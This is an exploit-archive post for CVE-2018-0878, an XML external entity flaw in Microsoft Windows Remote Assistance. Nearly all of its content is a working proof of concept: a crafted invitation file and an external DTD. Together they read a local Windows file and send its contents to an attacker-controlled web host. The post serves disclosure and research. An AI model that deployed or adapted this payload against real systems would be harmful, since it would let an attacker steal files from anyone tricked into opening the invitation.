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Microsoft Windows Remote Assistance XXE Injection

Microsoft Windows Remote Assistance XXE Injection
Posted Mar 28, 2018
Authored by Nabeel Ahmed

Microsoft Windows Remote Assistance suffers from an XML external entity injection vulnerability.

tags | exploit, remote, xxe
systems | windows
advisories | CVE-2018-0878
MD5 | cb3025652af207020bf6755d7274530e

Microsoft Windows Remote Assistance XXE Injection

Change Mirror Download
# Exploit Title: Microsoft Windows Remote Assistance XXE
# Date: 27/03/2018
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 (x64), Windows 10 (x64)
# CVE : CVE-2018-0878
# Category: Remote Exploits

Invitation.msrcincident
------------------------
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">
%remote;%root;%oob;]>

xxe.xml
------------------------
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">

Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)

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